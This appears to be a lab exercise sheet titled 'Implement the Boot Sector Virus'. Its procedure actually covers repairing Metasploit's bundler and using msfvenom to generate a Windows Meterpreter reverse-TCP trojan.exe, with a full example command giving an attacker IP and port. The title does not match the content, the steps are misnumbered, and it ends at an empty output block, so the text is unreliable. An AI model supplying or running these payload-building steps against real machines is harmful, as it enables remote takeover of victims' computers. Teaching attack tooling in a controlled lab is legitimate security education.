

EXPERIMENT NO:9

EXPERIMENT NAME:IMPLEMENT THE BOOT SECTOR VIRUS

Procedure:

Step 1: Update and Upgrade Kali Linux Open the terminal and type in: sudo apt-get update Next, type in: sudo apt-get upgrade

Step 3: Fix any errors

If you see this, it means that bundler is either set up incorrectly or hasn't been updated.

To fix this, change the current directory (file) to usr/share/metasploit-framework by typing in: >> cd /usr/share/metasploit-framework/

from the root directory. If you make a mistake, you can type in >> cd ..

to go back to the previous directory or type in any directory after cd to go there.

3.Now that we are in the metasploit-framework directory, type in

>> gem install bundler to install bundler, then type in

>> bundle install

4.If bundler is not the correct version, you should get a message telling you which version to install (in this case it was 1.17.3). Type in

>> gem install bundler: [version number]

and then type in: gem update --system

After all of that, everything should work perfectly

>> cd /root to go back to the root directory.

Step 2: Open exploit software

Open up the terminal and type in : msfvenom

Step 4: Choose our payload

To see a list of payloads: msfvenom -l payloads

Step 5: Customize our payload

msfvenom --list-options -p windows/meterpreter/reverse_tcp

Step 6: Generate the virus

Now that we have our payload, ip address, and port number, we have all the information that we need.

Type in:

Syntax:

`msfvenom -p [payload] LHOST=[your ip address] LPORT=[the port number] -f [file type] > [path]`

Example `msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.253 LPORT=4444 -f exe > trojan.exe`

Output

```
